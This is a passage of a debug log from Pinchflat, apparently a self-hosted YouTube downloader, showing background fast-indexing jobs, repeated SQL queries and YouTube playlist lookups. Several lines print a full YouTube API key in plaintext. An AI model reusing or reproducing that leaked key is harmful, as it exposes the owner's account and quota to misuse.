15:57:37.139 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:57:37.139 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:37.139 [debug] Fetching recent media IDs from YouTube API for playlist: UUY1kMZp36IQSyNx_9h4mpCg 15:57:37.139 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:37.139 [debug] Fetching recent media IDs from YouTube API for playlist: UU0KfjyvabuE2J-RBC6ko2Lw 15:57:37.139 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:37.139 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:37.139 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:57:37.139 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:57:37.263 [debug] QUERY OK source="media_items" db=0.7ms idle=122.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [9, "kgSHJhX6ly0", "X_rh2S74UJs", "c4dH8MpXYH4", "lSDoCbQsKxY", "qsJgJjOG5tY", "lNOjw3KRsqg", "oZOCmEDROHY", "AGUO3YQ_Y38", "jjpjjcMeujM", "jfUU24gaqNg", "pLtHyLlLt4Y", "PrWBvvwZ-4o", "0XgcOz95hTs", "ZGhPz6FINWA", "oSfubCtcyHo", "q2C1JpQi5G4", "mnDe3BaEBxc", "D1sCU41SRVU", "3x0MQxcYqmE", "dmr0Q5ambKk", "uDVygnvQzLI", "prjayUu9qMQ", "mJZldCMZhyA", "i41gbn5zmqc", "KRhofr57Na8", "1IotjpIZvAg", "v1FNHkt0ISk", "RkX6iRhYOEM", "eW8ZNkuLhZw", "9IiYOTzJ2uw", "paHr1oLaqJ4", "aL6P0ChwcHg", "iQJfOkDUvJM", "1QAmBamacU4", "qr1AvisQcV8", "tt_l_-5_8WU", "RYeNu159Sgc", "pzRH6JbphrI", "EfSw0_OxCGY", "PtIChOU86Xs", "0rVF_cl9trE", "g6tlNyr5sl8", "SUnNPS3rBXk", "f7hHtuS7ygY", "qyIzUOVG840", "U1MigIJXJx8", "IQJL3htsDyQ", "sLy-x38ILZE", "p7f8oR5ELwk", ...] 15:57:37.264 [debug] QUERY OK source="media_items" db=0.5ms idle=124.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [9] 15:57:37.265 [debug] QUERY OK source="tasks" db=0.2ms idle=125.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799872, 9, ~U[2026-02-10 21:57:37Z], ~U[2026-02-10 21:57:37Z]] 15:57:37.265 [info] {"args":{"id":9},"id":3799833,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":126253,"event":"job:stop","queue_time":516148,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:37.358 [debug] QUERY OK source="media_items" db=0.7ms idle=92.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [8, "8eWLi8Sm0H4", "cz-4H9vUEk4", "wobociFUM1E", "Za9PGELm5UQ", "79OTRGiCElE", "7oA7zyIxBkk", "H_D7GXUeHGo", "x57ds5lx_XI", "LlEL2Hb1VtQ", "4wgW-Fxbf4M", "NQaWtBdlwqI", "NfIuDxt-IyI", "gv__3ei1qb4", "4Pv9afb1HsY", "fSTBcDfNAGk", "b5thWhoEJUc", "11JEyjWPKkM", "abIWwY51RX8", "C8rTYj_jC4A", "xQvQH0GH6GM", "UAF_AGEOMRw", "aq13trnsgq4", "oVsMfMH9D6A", "h4KqzaZnx5U", "gosW702fFg4", "FbZAce_ZO1o", "8FHuMjmBgMQ", "BDjocv-3EKQ", "JT5RkjpgC10", "dtJtrmgl0hA", "ghAuHlrirkg", "VWT-wWxS_zM", "R1-leCEWNy8", "T6hkupYbkFI", "9buHzRb-N7A", "I39f2i-2NCo", "oi0XARbmQeI", "aV8p8MPHnGc", "NmN8sgnz5d0", "INd_nlbLedE", "TFCRLLeCjL0", "PDANwfuB79Q", "5XAh1nDOI6c", "BjhiYa0KsSM", "R4Q1HuXDa6o", "ik_hSkKT0OA", "uCsFBIlEybE", "tPssrCriHkE", "Dhn7oLQPyYI", ...] 15:57:37.359 [debug] QUERY OK source="media_items" db=0.5ms idle=94.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [8] 15:57:37.360 [debug] QUERY OK source="tasks" db=0.1ms idle=88.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799873, 8, ~U[2026-02-10 21:57:37Z], ~U[2026-02-10 21:57:37Z]] 15:57:37.360 [info] {"args":{"id":8},"id":3799834,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":221452,"event":"job:stop","queue_time":377508,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:42.144 [info] {"args":{"id":40},"id":3799835,"meta":{},"system_time":1770760662144873673,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:42.145 [debug] QUERY OK source="sources" db=0.1ms idle=1266.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [40] 15:57:42.145 [debug] QUERY OK source="settings" db=0.0ms idle=1266.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:42.145 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1007.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:57:42.145 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:42.145 [debug] Fetching recent media IDs from YouTube API for playlist: UU7V6hW6xqPAiUfataAZZtWA 15:57:42.145 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:42.145 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:57:42.253 [debug] QUERY OK source="media_items" db=0.7ms idle=107.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [40, "g5M9AL95htk", "_d7EmSiMgtQ", "GzGa73A7Ffk", "FLgPJa-pxeI", "BboXiXnvYX4", "jOY6nOpOruM", "nY5Wo5RJeqk", "4-QP9Zs4U_8", "w772tzPzZ9c", "UKe5sYfn5EY", "gvQT7ECCuDU", "7QoryyHW2VY", "OqA1yhu41so", "8Kz9f-UzpX0", "qgdHLj6Xtdo", "BPGbGYYO2eY", "Gik8xyVow0A", "bDum6c8SoRw", "g63zi5h7sSM", "exUUeZSHrMY", "SDVMlDYUgsA", "H5V319xB7WE", "jf2otd0yO5I", "YF9xXeebrCI", "wqTIn6iGJd8", "y3v0uFqgtJM", "iGRSfesAJ4k", "XNeGT_51LKM", "gBy0C2F-q0w", "Olu7GlTkKJU", "1zENw7nCecE", "AnJU-TxeJe0", "JP6u3p6AOIg", "zbhPsblrMT0", "oY3y4IJ3l_w", "3qFWzdhUjSk", "gjiAsn_EV8g", "4pE6u3dWu-0", "0SEzwZ6pGRQ", "4MCrCkm5g9Y", "mQvJiP4Zd1E", "tBG3sf4QnSc", "uZQkRXk2t6o", "uGoQkin-sb8", "wthVwIc9u8s", "QfF3T3TyUnc", "b5TtJHJD0o4", "BueJnc9uOYo", "7Kt4RnUSNvY", ...] 15:57:42.256 [debug] QUERY OK source="media_items" db=1.9ms idle=109.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [40] 15:57:42.257 [debug] QUERY OK source="tasks" db=0.1ms idle=111.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799874, 40, ~U[2026-02-10 21:57:42Z], ~U[2026-02-10 21:57:42Z]] 15:57:42.257 [info] {"args":{"id":40},"id":3799835,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":112594,"event":"job:stop","queue_time":323349,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:43.147 [info] {"args":{"id":2},"id":3799836,"meta":{},"system_time":1770760663146976075,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:43.147 [debug] QUERY OK source="sources" db=0.2ms idle=889.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:57:43.147 [debug] QUERY OK source="settings" db=0.0ms idle=889.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:43.147 [debug] QUERY OK source="media_profiles" db=0.0ms idle=883.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:57:43.148 [debug] QUERY OK source="settings" db=0.0ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:43.148 [debug] Fetching recent media IDs from YouTube API for playlist: UUdBK94H6oZT2Q7l0-b0xmMg 15:57:43.148 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:43.148 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:57:43.337 [debug] QUERY OK source="media_items" db=0.6ms idle=189.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "6ZgZNKd6L4w", "k99eZELFMnQ", "SoyXQcmSSDA", "hQDwpXfJXYI", "LRkDQZo_Anw", "sqng2mGejKw", "k9UsDilfbYM", "_cY1rFrNQpE", "7kqvE63fnE4", "jBYgqIPeZ4M", "oIs2ZCcj2Vg", "ck7r7wo829A", "Rv3LJQLMh3U", "LbVz5hXSIKg", "RB7CfRSFjCw", "B9DnrUB4CJM", "ghawYhsGdug", "uQkIZvbbQDA", "4GtFKbysSDY", "Bu671EegYWY", "UYErV4JoFyM", "y_d40V40clo", "7SRjYEHzbX8", "ij2ASG-LSt8", "RGLVdoaD-T0", "bvkgOoZKcwM", "j_2jvyqta0s", "4c63FU_d8T8", "RK2SnHjxGVs", "rA9aiYZOExg", "W8C4Ei0Ykvg", "rvP7or3PPNM", "ZFn-Q-PZtZU", "fwpnuNrSDaI", "ksLlg8f997w", "0RssLJL30h0", "dlW6a17NRew", "dd1TeK-YFuk", "9jBseM65hbs", "QQ49D1E24NM", "1GXzDm8PYp8", "B3P2jc8GX_Y", "ane7B2Q8jbs", "zjmbsU9GD6w", "7Y0UEQ_Jj_c", "clSil9gwZmM", "VKMzpJj8iFo", "j8-OvS8FY0k", "hOIjQTFD_Ss", ...] 15:57:43.339 [debug] QUERY OK source="media_items" db=2.0ms idle=190.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 15:57:43.340 [debug] QUERY OK source="tasks" db=0.1ms idle=192.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799875, 2, ~U[2026-02-10 21:57:43Z], ~U[2026-02-10 21:57:43Z]] 15:57:43.340 [info] {"args":{"id":2},"id":3799836,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":193758,"event":"job:stop","queue_time":494709,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:45.148 [info] {"args":{"id":38},"id":3799837,"meta":{},"system_time":1770760665148788174,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:45.149 [debug] QUERY OK source="sources" db=0.1ms idle=270.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [38] 15:57:45.149 [debug] QUERY OK source="settings" db=0.1ms idle=270.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:45.149 [debug] QUERY OK source="media_profiles" db=0.1ms idle=271.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:57:45.149 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:45.149 [debug] Fetching recent media IDs from YouTube API for playlist: UU04RYGK0kWq2GJH7uKuvdFg 15:57:45.149 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:45.149 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:57:45.238 [debug] QUERY OK source="media_items" db=0.5ms idle=88.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", 